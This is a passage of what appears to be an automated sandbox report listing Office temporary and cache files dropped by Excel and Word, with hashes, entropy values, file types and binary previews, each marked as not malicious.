                                                                  Preview:....X...............a...............b... EMF....P.......................d...d...........F...8...,...EMF+.@..................`...`....@..............................................F...l...`...EMF+.@..$...................b...d............PNG........IHDR.......b......:s....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^.........Om...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A58FA7F1.emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):29944
                                                                  Entropy (8bit):2.799241780569642
                                                                  Encrypted:false
                                                                  SSDEEP:192:dHxXn27sc9dO+EV2BfSOrpjT9qS8suTngJwPWWkjeh6eN1nS4ItDPca:dHvc9cVMtrpwErWYehznS4Itf
                                                                  MD5:1CC9F00C5F6002C6467DD1FB62FE806D
                                                                  SHA1:099A6ABBEF29D8CF4ED5377DE8116176B58E2D51
                                                                  SHA-256:D73CC9F8FC1BC49FBEC6EFEC8144D68BC3BB3F68B55C16511F6AB8066731AA9D
                                                                  SHA-512:8412E55034163F33DF402140A1537B124E83D8107656778BB6897187DAC57CCC0D2C5AB3EFD28B00A71122C2F8EF8E3627716DFB31E89E7BCE25D8C2E6CEF050
                                                                  Malicious:false
                                                                  Preview:....l...........0...%............K...8.. EMF.....t..b.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................1...&..."...........!...............................................1...&..."...........!...............................................1...&..."...........!...............................................1...&..."...........!...............................................1...&...'.......................%...........................................................L...d.......W...0...........W...1...T...!..............?...........?................................R...p...................................T.i.m.e.s. .N.e.w. .R.o.m.a.n...........................

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B336EBFC.emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):1504016
                                                                  Entropy (8bit):0.6376230814613634
                                                                  Encrypted:false
                                                                  SSDEEP:1536:zmUE4ZVtO1ZKadEb/adPaa1LxakIaprMaHaDavag1a1mjMaJnaIah/axShMkGtaH:zmUE4ZVtO1Z9EbKPFLZ/rjHgMmOC
                                                                  MD5:4D59A7E93170340B5EC4009F7FA3AD31
                                                                  SHA1:E07421156DD87789F93F10904118343CA452BBB5
                                                                  SHA-256:83473215E5C2160333AA92EA7F9B1276D8ED7DD66AFC472DC92C88055D189D7D
                                                                  SHA-512:415102AD30DF62A63EC47D7B432AB397C2CFC8B6F7FE1E8A7057877379B65D344499089780E089AD2F5C08E3050F4DC2205E7C3C4FFE484C39D067027783AB55
                                                                  Malicious:false
                                                                  Preview:....l...........R...H............)...;.. EMF................................8...X....................?...........................................)...;..........S...I...Q...T...........R...H...................S...I...P...(...x........... ....)...;..(...S...I.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BBE8D3E.emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):1505804
                                                                  Entropy (8bit):1.0125563822616974
                                                                  Encrypted:false
                                                                  SSDEEP:768:v2CnnHbNB0IzJg3ittG70X8cwXqmZPYBIrpCupi8y0V3IruRBPnfmb6qJ+:vvnnHbN/zJUitA70XynCIlN1dfmb6qJ+
                                                                  MD5:FDEBFD1C0D731BF56A398ABEB7F221A5
                                                                  SHA1:7864F45CA62BC727A332DED751442B99265E065F
                                                                  SHA-256:19B8C1D2BFFB4FEAC1BDEB2FB14D79AC6D50B4CEB566C1F3C8E233A088C30EB2
                                                                  SHA-512:5747FD24D92139F6CFEC2EE7832AB44AF1DAEE3B1EEDB98FEC07E521E69A769AB1EEBCC91FEB94FE0292835BD32C034ECA545B7422E75FB67D3C3653AE76D83E
                                                                  Malicious:false
                                                                  Preview:....l...........R...I............)...;.. EMF................................8...X....................?...........................................)...;..........S...J...Q...P...........R...I...................S...J...P...(...x........... ....)...;..(...S...J.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DB46BBB0.emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):97824
                                                                  Entropy (8bit):4.154873870060106
                                                                  Encrypted:false
                                                                  SSDEEP:1536:pm4/W6/W+VaIKD4HC/QCavImraz2kZQCtQJ2JEEEGtEEECtne/WS/Wo:pm4VaIKD4i4CavImraz2kZPKJ2JEEEGo
                                                                  MD5:2666C077CBF5BEF474A4C303C62A22D2
                                                                  SHA1:9C6398B59914D5122D0716FC0FFA45E602CBF213
                                                                  SHA-256:7512C14E1AE1D96636A262A45C3AC3D6CA4D6CA171AA0077879F3F4927BD027E
                                                                  SHA-512:9569F78479DF66B42A474F7D55A1A0534448FAE30807170920D4B2E38229E32097C5360F4C16658AC7F331515B504A208DD75C9DB56005068D968E6D39E935D6
                                                                  Malicious:false
                                                                  Preview:....l...........................?{...P.. EMF.... ~..+.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.......................%...........................................................&...........................%...........................6...............%...........L...d...................................!...

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~$RD0003.docx

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):162
                                                                  Entropy (8bit):2.479760646202031
                                                                  Encrypted:false
                                                                  SSDEEP:3:vrJlaCkWtVyHoljpl0QelMWFlc2VbiVllln:vdsCkWt51p2tvHV6/l
                                                                  MD5:0ACDE4A3C820A366AC6C0AB821A72207
                                                                  SHA1:B6551E86B60D095E74D4F79B6B004D40FDA4BA72
                                                                  SHA-256:3F3701E84757747159396FB41AD88E0E51084F846EB8007A2FAEAC15CE9DBF2C
                                                                  SHA-512:CB974D0C6CFE9B9AF015DD9D92B8110FC9AFE7EEA9A8C03ECF9112F6EA642DBE5FE9531E39B5B52EAADE7FEBAF6C17E4DD92AF5841476BECEA8E8789E19C2FB0
                                                                  Malicious:false
                                                                  Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~$RD0005.docx

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):162
                                                                  Entropy (8bit):2.479760646202031
                                                                  Encrypted:false
                                                                  SSDEEP:3:vrJlaCkWtVyHoljpl0QelMWFlc2VbiVllln:vdsCkWt51p2tvHV6/l
                                                                  MD5:0ACDE4A3C820A366AC6C0AB821A72207
                                                                  SHA1:B6551E86B60D095E74D4F79B6B004D40FDA4BA72
                                                                  SHA-256:3F3701E84757747159396FB41AD88E0E51084F846EB8007A2FAEAC15CE9DBF2C
                                                                  SHA-512:CB974D0C6CFE9B9AF015DD9D92B8110FC9AFE7EEA9A8C03ECF9112F6EA642DBE5FE9531E39B5B52EAADE7FEBAF6C17E4DD92AF5841476BECEA8E8789E19C2FB0
                                                                  Malicious:false
                                                                  Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~$RD3923.docx

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):162
                                                                  Entropy (8bit):2.479760646202031
                                                                  Encrypted:false
                                                                  SSDEEP:3:vrJlaCkWtVyHoljpl0QelMWFlc2VbiVllln:vdsCkWt51p2tvHV6/l
                                                                  MD5:0ACDE4A3C820A366AC6C0AB821A72207
                                                                  SHA1:B6551E86B60D095E74D4F79B6B004D40FDA4BA72
                                                                  SHA-256:3F3701E84757747159396FB41AD88E0E51084F846EB8007A2FAEAC15CE9DBF2C
                                                                  SHA-512:CB974D0C6CFE9B9AF015DD9D92B8110FC9AFE7EEA9A8C03ECF9112F6EA642DBE5FE9531E39B5B52EAADE7FEBAF6C17E4DD92AF5841476BECEA8E8789E19C2FB0
                                                                  Malicious:false
                                                                  Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~$RO0000.doc

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):162
                                                                  Entropy (8bit):2.479760646202031
                                                                  Encrypted:false
                                                                  SSDEEP:3:vrJlaCkWtVyHoljpl0QelMWFlc2VbiVllln:vdsCkWt51p2tvHV6/l
                                                                  MD5:0ACDE4A3C820A366AC6C0AB821A72207
                                                                  SHA1:B6551E86B60D095E74D4F79B6B004D40FDA4BA72
                                                                  SHA-256:3F3701E84757747159396FB41AD88E0E51084F846EB8007A2FAEAC15CE9DBF2C
                                                                  SHA-512:CB974D0C6CFE9B9AF015DD9D92B8110FC9AFE7EEA9A8C03ECF9112F6EA642DBE5FE9531E39B5B52EAADE7FEBAF6C17E4DD92AF5841476BECEA8E8789E19C2FB0
                                                                  Malicious:false
                                                                  Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD0001.tmp

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:Microsoft Word 2007+
                                                                  Category:dropped
                                                                  Size (bytes):68774
                                                                  Entropy (8bit):7.685434558972311
                                                                  Encrypted:false
                                                                  SSDEEP:1536:5Jqk3PFta9L335kzeMRXBPf0xWIqVDPcp5jxOPlFkYstHUac:5J37aN3JkKXiDPcp5jwqXc
                                                                  MD5:A46EC904E7DA5870F7D9DD1104C8C452
                                                                  SHA1:53BF050834F00699C2335843DE5575A13CF980D1
                                                                  SHA-256:5DF39FDBFE0353DE555D09595D65943137D31855E0B58BDAA4AE8A1701C0BCD7
                                                                  SHA-512:8A0EF3CBF4749E227CCE3A5FE27DB6FC31EFAAD611E6EC0FF9EC662C4C65F7C1B553346E9372C4BCA5D75D6BF6AA445D450B270C75E2E8F329C371F9B9EDFC06
                                                                  Malicious:false
                                                                  Preview:PK..........!................[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................TKO.@........v..1..A.$b<..).v..Y^..i..H.(zi..~...|..R...<*kR.M:,.#m..$e.....E...Da..l......x..#B.L.4.w.9.)h..u`..[.E.W?.N.O1.~...piM...Pr.~..r1+B4\.........Z)S.$........p.PR...Mv.,.J.Y...rxE.Y.BY.7.+..=.8.. .....&.|a}.3+g..N..4..y.$....y+.........2[.....*.....D.7...<.I..}....d-..mW..hH..._.m.an......s.C.j$.u....N....QS.......g.l...1I....)s./...D..i...........).....D. k..U..........PK..........!.........N......._re

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD0003.docx (copy)

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:Microsoft Word 2007+
                                                                  Category:dropped
                                                                  Size (bytes):68742
                                                                  Entropy (8bit):7.684708700306939
                                                                  Encrypted:false
                                                                  SSDEEP:1536:5Jj3PFta9L335kzeMRXBPf0xWIqVDPcp5jxOPlFkYstHUO:5Jj7aN3JkKXiDPcp5jwqB
                                                                  MD5:26D08BF19E617D0A4CC0E8085928A680
                                                                  SHA1:059D6F0B8E71A96E5748AEBC301E2DCB7DC30239
                                                                  SHA-256:C787F7195BC4099C8EB908EFF2368BA9B8551E6A5B1E1969450C83EB58E36E58
                                                                  SHA-512:CEE7628F17D7425B14CAFEE26F8ED9B62DE49E1220DD3BD6509984B4772A0353769B462DC899457D0944A56DD343D361567306D3849E89B49D9D2761FC8A5943
                                                                  Malicious:false
                                                                  Preview:PK..........!................[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................TKO.@........v..1..A.$b<..).v..Y^..i..H.(zi..~...|..R...<*kR.M:,.#m..$e.....E...Da..l......x..#B.L.4.w.9.)h..u`..[.E.W?.N.O1.~...piM...Pr.~..r1+B4\.........Z)S.$........p.PR...Mv.,.J.Y...rxE.Y.BY.7.+..=.8.. .....&.|a}.3+g..N..4..y.$....y+.........2[.....*.....D.7...<.I..}....d-..mW..hH..._.m.an......s.C.j$.u....N....QS.......g.l...1I....)s./...D..i...........).....D. k..U..........PK..........!.........N......._re

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD0004.tmp

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:Microsoft Word 2007+
                                                                  Category:dropped
                                                                  Size (bytes):68742
                                                                  Entropy (8bit):7.684708700306939
                                                                  Encrypted:false
                                                                  SSDEEP:1536:5Jj3PFta9L335kzeMRXBPf0xWIqVDPcp5jxOPlFkYstHUO:5Jj7aN3JkKXiDPcp5jwqB
                                                                  MD5:26D08BF19E617D0A4CC0E8085928A680
                                                                  SHA1:059D6F0B8E71A96E5748AEBC301E2DCB7DC30239
                                                                  SHA-256:C787F7195BC4099C8EB908EFF2368BA9B8551E6A5B1E1969450C83EB58E36E58
                                                                  SHA-512:CEE7628F17D7425B14CAFEE26F8ED9B62DE49E1220DD3BD6509984B4772A0353769B462DC899457D0944A56DD343D361567306D3849E89B49D9D2761FC8A5943
                                                                  Malicious:false
                                                                  Preview:PK..........!................[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................TKO.@........v..1..A.$b<..).v..Y^..i..H.(zi..~...|..R...<*kR.M:,.#m..$e.....E...Da..l......x..#B.L.4.w.9.)h..u`..[.E.W?.N.O1.~...piM...Pr.~..r1+B4\.........Z)S.$........p.PR...Mv.,.J.Y...rxE.Y.BY.7.+..=.8.. .....&.|a}.3+g..N..4..y.$....y+.........2[.....*.....D.7...<.I..}....d-..mW..hH..._.m.an......s.C.j$.u....N....QS.......g.l...1I....)s./...D..i...........).....D. k..U..........PK..........!.........N......._re

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD0005.docx (copy)

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:Microsoft Word 2007+
                                                                  Category:dropped
                                                                  Size (bytes):68742
                                                                  Entropy (8bit):7.684708700306939
                                                                  Encrypted:false
                                                                  SSDEEP:1536:5Jj3PFta9L335kzeMRXBPf0xWIqVDPcp5jxOPlFkYstHUO:5Jj7aN3JkKXiDPcp5jwqB
                                                                  MD5:26D08BF19E617D0A4CC0E8085928A680
                                                                  SHA1:059D6F0B8E71A96E5748AEBC301E2DCB7DC30239
                                                                  SHA-256:C787F7195BC4099C8EB908EFF2368BA9B8551E6A5B1E1969450C83EB58E36E58
                                                                  SHA-512:CEE7628F17D7425B14CAFEE26F8ED9B62DE49E1220DD3BD6509984B4772A0353769B462DC899457D0944A56DD343D361567306D3849E89B49D9D2761FC8A5943
                                                                  Malicious:false
                                                                  Preview:PK..........!................[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................TKO.@........v..1..A.$b<..).v..Y^..i..H.(zi..~...|..R...<*kR.M:,.#m..$e.....E...Da..l......x..#B.L.4.w.9.)h..u`..[.E.W?.N.O1.~...piM...Pr.~..r1+B4\.........Z)S.$........p.PR...Mv.,.J.Y...rxE.Y.BY.7.+..=.8.. .....&.|a}.3+g..N..4..y.$....y+.........2[.....*.....D.7...<.I..}....d-..mW..hH..._.m.an......s.C.j$.u....N....QS.......g.l...1I....)s./...D..i...........).....D. k..U..........PK..........!.........N......._re

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD2913.tmp

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:Microsoft Word 2007+
                                                                  Category:dropped
                                                                  Size (bytes):68742
                                                                  Entropy (8bit):7.684708700306939
                                                                  Encrypted:false
                                                                  SSDEEP:1536:5Jj3PFta9L335kzeMRXBPf0xWIqVDPcp5jxOPlFkYstHUO:5Jj7aN3JkKXiDPcp5jwqB
                                                                  MD5:26D08BF19E617D0A4CC0E8085928A680
                                                                  SHA1:059D6F0B8E71A96E5748AEBC301E2DCB7DC30239
                                                                  SHA-256:C787F7195BC4099C8EB908EFF2368BA9B8551E6A5B1E1969450C83EB58E36E58
                                                                  SHA-512:CEE7628F17D7425B14CAFEE26F8ED9B62DE49E1220DD3BD6509984B4772A0353769B462DC899457D0944A56DD343D361567306D3849E89B49D9D2761FC8A5943
                                                                  Malicious:false
                                                                  Preview:PK..........!................[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................TKO.@........v..1..A.$b<..).v..Y^..i..H.(zi..~...|..R...<*kR.M:,.#m..$e.....E...Da..l......x..#B.L.4.w.9.)h..u`..[.E.W?.N.O1.~...piM...Pr.~..r1+B4\.........Z)S.$........p.PR...Mv.,.J.Y...rxE.Y.BY.7.+..=.8.. .....&.|a}.3+g..N..4..y.$....y+.........2[.....*.....D.7...<.I..}....d-..mW..hH..._.m.an......s.C.j$.u....N....QS.......g.l...1I....)s./...D..i...........).....D. k..U..........PK..........!.........N......._re

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD3923.docx (copy)

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:Microsoft Word 2007+
                                                                  Category:dropped
                                                                  Size (bytes):68742
                                                                  Entropy (8bit):7.684708700306939
                                                                  Encrypted:false
                                                                  SSDEEP:1536:5Jj3PFta9L335kzeMRXBPf0xWIqVDPcp5jxOPlFkYstHUO:5Jj7aN3JkKXiDPcp5jwqB
                                                                  MD5:26D08BF19E617D0A4CC0E8085928A680
                                                                  SHA1:059D6F0B8E71A96E5748AEBC301E2DCB7DC30239
                                                                  SHA-256:C787F7195BC4099C8EB908EFF2368BA9B8551E6A5B1E1969450C83EB58E36E58
                                                                  SHA-512:CEE7628F17D7425B14CAFEE26F8ED9B62DE49E1220DD3BD6509984B4772A0353769B462DC899457D0944A56DD343D361567306D3849E89B49D9D2761FC8A5943
                                                                  Malicious:false
                                                                  Preview:PK..........!................[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................TKO.@........v..1..A.$b<..).v..Y^..i..H.(zi..~...|..R...<*kR.M:,.#m..$e.....E...Da..l......x..#B.L.4.w.9.)h..u`..[.E.W?.N.O1.~...piM...Pr.~..r1+B4\.........Z)S.$........p.PR...Mv.,.J.Y...rxE.Y.BY.7.+..=.8.. .....&.|a}.3+g..N..4..y.$....y+.........2[.....*.....D.7...<.I..}....d-..mW..hH..._.m.an......s.C.j$.u....N....QS.......g.l...1I....)s./...D..i...........).....D. k..U..........PK..........!.........N......._re

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD3923.tmp

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:Microsoft Word 2007+
                                                                  Category:dropped
                                                                  Size (bytes):68742
                                                                  Entropy (8bit):7.684708700306939
                                                                  Encrypted:false
                                                                  SSDEEP:1536:5Jj3PFta9L335kzeMRXBPf0xWIqVDPcp5jxOPlFkYstHUO:5Jj7aN3JkKXiDPcp5jwqB
                                                                  MD5:26D08BF19E617D0A4CC0E8085928A680
                                                                  SHA1:059D6F0B8E71A96E5748AEBC301E2DCB7DC30239
                                                                  SHA-256:C787F7195BC4099C8EB908EFF2368BA9B8551E6A5B1E1969450C83EB58E36E58
                                                                  SHA-512:CEE7628F17D7425B14CAFEE26F8ED9B62DE49E1220DD3BD6509984B4772A0353769B462DC899457D0944A56DD343D361567306D3849E89B49D9D2761FC8A5943
                                                                  Malicious:false
                                                                  Preview:PK..........!................[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................TKO.@........v..1..A.$b<..).v..Y^..i..H.(zi..~...|..R...<*kR.M:,.#m..$e.....E...Da..l......x..#B.L.4.w.9.)h..u`..[.E.W?.N.O1.~...piM...Pr.~..r1+B4\.........Z)S.$........p.PR...Mv.,.J.Y...rxE.Y.BY.7.+..=.8.. .....&.|a}.3+g..N..4..y.$....y+.........2[.....*.....D.7...<.I..}....d-..mW..hH..._.m.an......s.C.j$.u....N....QS.......g.l...1I....)s./...D..i...........).....D. k..U..........PK..........!.........N......._re

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRL0002.tmp (copy)

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:Microsoft Word 2007+
                                                                  Category:dropped
                                                                  Size (bytes):66096
                                                                  Entropy (8bit):7.6673327627733885
                                                                  Encrypted:false
                                                                  SSDEEP:1536:vYT3PFta9L335kzeMRXBPf0xWIqVDPcp5jxOPlFkYsul:gT7aN3JkKXiDPcp5jw5l
                                                                  MD5:606E86DDF4A7C9B6AB8C67C5E07E9AA5
                                                                  SHA1:02D97F1B8693DEE4C016AEF0B52F881F5444D078
                                                                  SHA-256:B970B6D64F578A2F3A718ADA8DDBBA5FF337D5577E21F32500148724AADEC382
                                                                  SHA-512:74DA6FF7E54FE8F65A770B33C1B945450E7D5538034FBF83986C140CA327C1912E7D527DD9FC16B41F085DF87A18B64954FA62A5C96498679F0F586AFB5C2844
                                                                  Malicious:false
                                                                  Preview:PK..........!....us...T.......[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T.N.0..#....(q..!...#T.|.kOR.7....L.6*%M%J/...[.y..h.U....59.g=...VHS..c..$Df.S.@N...hx}5......&.d..{.4..h.2..`..^..K_R...+...zw.[...4V.d8x...UL.W.{...AI....J+'RW.u..b<.p.a.).Y.....g..U..zO.I.n.:iW.*?M..lqo.....1..i.N...*,.k.;.i.i.Brh....C.xNZeME3iv....q. ....o.<..{......jZ....p....1bd.h~...~=.......?;...d..h.....5y..I.K.._,.=..#..q......-SG.7q........PK..........!.........N......._rels/.rels ...(..............

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRO0000.doc

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:Microsoft Word 2007+
                                                                  Category:dropped
                                                                  Size (bytes):66096
                                                                  Entropy (8bit):7.6673327627733885
                                                                  Encrypted:false
                                                                  SSDEEP:1536:vYT3PFta9L335kzeMRXBPf0xWIqVDPcp5jxOPlFkYsul:gT7aN3JkKXiDPcp5jw5l
                                                                  MD5:606E86DDF4A7C9B6AB8C67C5E07E9AA5
                                                                  SHA1:02D97F1B8693DEE4C016AEF0B52F881F5444D078
                                                                  SHA-256:B970B6D64F578A2F3A718ADA8DDBBA5FF337D5577E21F32500148724AADEC382
                                                                  SHA-512:74DA6FF7E54FE8F65A770B33C1B945450E7D5538034FBF83986C140CA327C1912E7D527DD9FC16B41F085DF87A18B64954FA62A5C96498679F0F586AFB5C2844
                                                                  Malicious:false
                                                                  Preview:PK..........!....us...T.......[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T.N.0..#....(q..!...#T.|.kOR.7....L.6*%M%J/...[.y..h.U....59.g=...VHS..c..$Df.S.@N...hx}5......&.d..{.4..h.2..`..^..K_R...+...zw.[...4V.d8x...UL.W.{...AI....J+'RW.u..b<.p.a.).Y.....g..U..zO.I.n.:iW.*?M..lqo.....1..i.N...*,.k.;.i.i.Brh....C.xNZeME3iv....q. ....o.<..{......jZ....p....1bd.h~...~=.......?;...d..h.....5y..I.K.._,.=..#..q......-SG.7q........PK..........!.........N......._rels/.rels ...(..............

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4596E15B-44F2-46EC-B7F0-548B7E499F6A}.tmp

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):1024
                                                                  Entropy (8bit):0.05390218305374581
                                                                  Encrypted:false
                                                                  SSDEEP:3:ol3lYdn:4Wn
                                                                  MD5:5D4D94EE7E06BBB0AF9584119797B23A
                                                                  SHA1:DBB111419C704F116EFA8E72471DD83E86E49677
                                                                  SHA-256:4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
                                                                  SHA-512:95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
                                                                  Malicious:false
                                                                  Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8A733322-1ED0-47A6-9275-656451DAAFBA}.tmp

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):1536
                                                                  Entropy (8bit):0.11299086186625841
                                                                  Encrypted:false
                                                                  SSDEEP:3:llYdltn/lLQ+n:A3K+
                                                                  MD5:3E63486E4BEB395BEDDF4EADC8EAA7DF
                                                                  SHA1:3B1D6276345408B5F320AEE4A73AE71EF79ED78C
                                                                  SHA-256:5DAEC42472B3B45BA0D38072709BFEE8956D67AED379B39273758475162DB75F
                                                                  SHA-512:321453C0BF34BBFD094BA75B85BC3E15D7FE053F10F2BF3D89B926593DB02DA59970F8D619ACB46378753739C164396DE3A97A970D1A2F07E0441F7D24C073F1
                                                                  Malicious:false
                                                                  Preview:../.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\333 (2).emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):3920
                                                                  Entropy (8bit):0.6238557764114945
                                                                  Encrypted:false
                                                                  SSDEEP:6:0zfhlOslsDwE1vfk+kSYR3PhlXxv/lhPmcROwMR/C+7khvSGq48uxUo++:0zrOEhcCJtbhv/7eSpM/0hvei
                                                                  MD5:B144C5DC2697405C54706532478FB8F4
                                                                  SHA1:4A336DC89AB41EA549248BF17732255450D43FFB
                                                                  SHA-256:A56486C90A658CC2107998846EA20FA6ACC722EF80550916DF1A496544835CF7
                                                                  SHA-512:AF415AE8AEF2595D71BE8EE89BD59B94DA500CBA64FC7332E74A750A004002744CA3FB5C2CCE564CD0F3644C52BA0C79C726EC4104FEB33D3E81757EDD083C77
                                                                  Malicious:false
                                                                  Preview:....X...............a...............b... EMF....P.......................d...d...........F...8...,...EMF+.@..................`...`....@..............................................F...l...`...EMF+.@..$...................b...d............PNG........IHDR.......b......:s....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^.........Om...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\333 (2).emf:Zone.Identifier

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:ASCII text, with CRLF line terminators
                                                                  Category:dropped
                                                                  Size (bytes):26
                                                                  Entropy (8bit):3.95006375643621
                                                                  Encrypted:false
                                                                  SSDEEP:3:gAWY3n:qY3n
                                                                  MD5:FBCCF14D504B7B2DBCB5A5BDA75BD93B
                                                                  SHA1:D59FC84CDD5217C6CF74785703655F78DA6B582B
                                                                  SHA-256:EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
                                                                  SHA-512:AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
                                                                  Malicious:false
                                                                  Preview:[ZoneTransfer]..ZoneId=3..

                                                                  C:\Users\user\AppData\Local\Temp\333 (3).emf

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                                                                  Category:dropped
                                                                  Size (bytes):3920
                                                                  Entropy (8bit):0.6238557764114945
